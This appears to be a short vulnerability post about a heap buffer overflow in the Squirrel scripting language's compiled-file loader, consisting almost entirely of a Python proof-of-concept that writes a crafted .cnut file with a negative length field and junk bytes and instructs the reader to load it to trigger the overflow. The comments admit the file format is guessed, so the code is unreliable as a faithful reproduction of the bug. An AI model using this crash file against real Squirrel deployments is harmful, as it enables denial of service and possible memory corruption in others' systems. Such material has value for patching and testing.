CVE-2026-9541 Squirrel堆缓冲区溢出漏洞

import struct # Generate a malformed Cnut file to trigger the negative length OOB in ReadObject # This is a conceptual PoC based on the vulnerability description. def generate_poc(filename): with open(filename, 'wb') as f: # generic header placeholder (if any) f.write(b'CNUT') # Constructing a block that triggers the ReadObject vulnerability # The vulnerability is triggered by a negative length field # Assuming a structure where a 4-byte integer represents length # Write a negative length (e.g., -1 or 0xFFFFFFFF) negative_length = struct.pack('<i', -1) f.write(negative_length) # Write junk data to attempt the overflow # The function will try to copy a massive amount of data due to the negative length junk_data = b'A' * 1000 f.write(junk_data) print(f"[+] PoC file generated: {filename}") print(f"[*] Load this file in Squirrel to trigger the heap overflow.") if __name__ == "__main__": generate_poc("crash.cnut")